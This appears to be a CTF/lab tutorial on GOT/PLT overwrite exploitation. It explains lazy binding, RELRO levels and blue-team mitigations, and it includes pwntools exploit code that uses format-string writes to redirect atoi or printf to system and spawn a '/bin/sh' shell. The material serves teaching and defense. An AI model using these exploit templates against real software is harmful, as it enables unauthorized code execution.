GOT/PLT Overwrite
When a binary uses functions from a shared library (like libc’s printf or system), it doesn’t know their addresses at compile time: they’re resolved at runtime via two tables, the GOT (Global Offset Table) and the PLT (Procedure Linkage Table). The GOT stores the real addresses of those functions, and by default it’s writable. If an attacker gets an arbitrary write (via format string, heap, overflow), they can overwrite a GOT entry so that, when the program calls a function, it jumps wherever the attacker wants —typically system.
Threat model
Section titled “Threat model”The prerequisite is an arbitrary write primitive (write-what-where): a format string with %n, a heap corruption, or an overflow that reaches the GOT. The attack is the second half: turning that write into control of the flow by redirecting a function call. Authorized lab/CTF scenario.
Theory: how GOT/PLT works
Section titled “Theory: how GOT/PLT works”The binary doesn’t call libc’s printf directly; it calls printf@plt. The PLT is a small trampoline that jumps to the address stored in the GOT entry:
flowchart TD
A["call printf@plt"] --> B["printf@plt: jmp [printf@got]"]
B --> C{"first call?"}
C -->|"Yes (lazy)"| D["the linker resolves printf and writes its real address to printf@got"]
C -->|"No"| E["printf@got already holds the address → direct jump"]
D --> F["runs printf"]
E --> F
The GOT is, in practice, a table of function pointers the program consults on every call. Overwriting a pointer equals hijacking that function.
The attack: overwrite an entry
Section titled “The attack: overwrite an entry”With an arbitrary-write primitive, you write the address of system into the GOT entry of a function the program calls later:
from pwn import *context.binary = elf = ELF('./vuln')
got_printf = elf.got['printf'] # address of printf's GOT entry# via format string (see pwn-format):payload = fmtstr_payload(offset, {got_printf: addr_system})# from here, every printf(x) actually runs system(x)The trick is to pick a GOT entry of a function that (a) is called after your write and (b) receives an argument you control, so system(YOUR_ARG) yields the shell. Typical targets:
printf@got → systemif aprintfwith controlled data follows.atoi@got → systemif the menu doesatoi(user_input): you feed/bin/shwhere it expected a number.free@got,puts@got,strlen@got… depending on the program flow.
Finding the addresses
Section titled “Finding the addresses”objdump -R ./vuln # relocations (GOT entries)readelf -r ./vulnIn pwntools: elf.got['printf'], elf.plt['system'], elf.symbols[...]. The libc address of system needs a leak if ASLR is on (see ROP).
Exploitation (lab): atoi → system
Section titled “Exploitation (lab): atoi → system”A very common pattern in challenges with a numeric menu:
from pwn import *context.binary = elf = ELF('./menu')libc = ELF('./libc.so.6')
io = process('./menu')# 1) libc leak (e.g. leaking puts@got) -> libc.address = ...system = libc.symbols['system']
# 2) format string: overwrite atoi@got with systemoffset = 6io.sendlineafter(b'option: ', fmtstr_payload(offset, {elf.got['atoi']: system}))
# 3) the menu asks "option:" again and calls atoi(input)# -> input = "/bin/sh" => system("/bin/sh")io.sendlineafter(b'option: ', b'/bin/sh\x00')io.interactive()RELRO: the key mitigation
Section titled “RELRO: the key mitigation”The GOT is writable by default, but RELRO changes that:
- No RELRO — fully writable GOT; trivial attack.
- Partial RELRO (today’s default) — part of the GOT is read-only, but
.got.plt(lazy-resolved functions) stays writable; still attackable. - Full RELRO — the whole GOT is read-only (eager resolution at startup); GOT overwrite impossible.
checksec --file=./vuln # shows the RELRO levelWith Full RELRO, this attack doesn’t work and you must find another primitive (libc hooks in old versions, retaddr, FSOP).
Mitigations / Blue Team
Section titled “Mitigations / Blue Team”- Full RELRO (
-Wl,-z,relro,-z,now): makes the GOT read-only and closes the attack entirely. - Remove the source arbitrary-write primitives (fix format strings, overflows, UAF).
- ASLR/PIE (force leaking addresses before writing) and FORTIFY_SOURCE.
- In general, the defenses against the vulnerabilities that grant the write-what-where.
Checklist
Section titled “Checklist”- Do you have an arbitrary-write primitive? (format/heap/overflow)
-
checksec: RELRO level (is the GOT writable?) - Locate GOT entries (
objdump -R/elf.got) - Pick a later-called function with a controlled argument
- Overwrite its GOT entry with
system/one_gadget - Trigger the call → shell
- If Full RELRO: find another primitive (hooks/retaddr/FSOP)
- Shell/flag locally → remote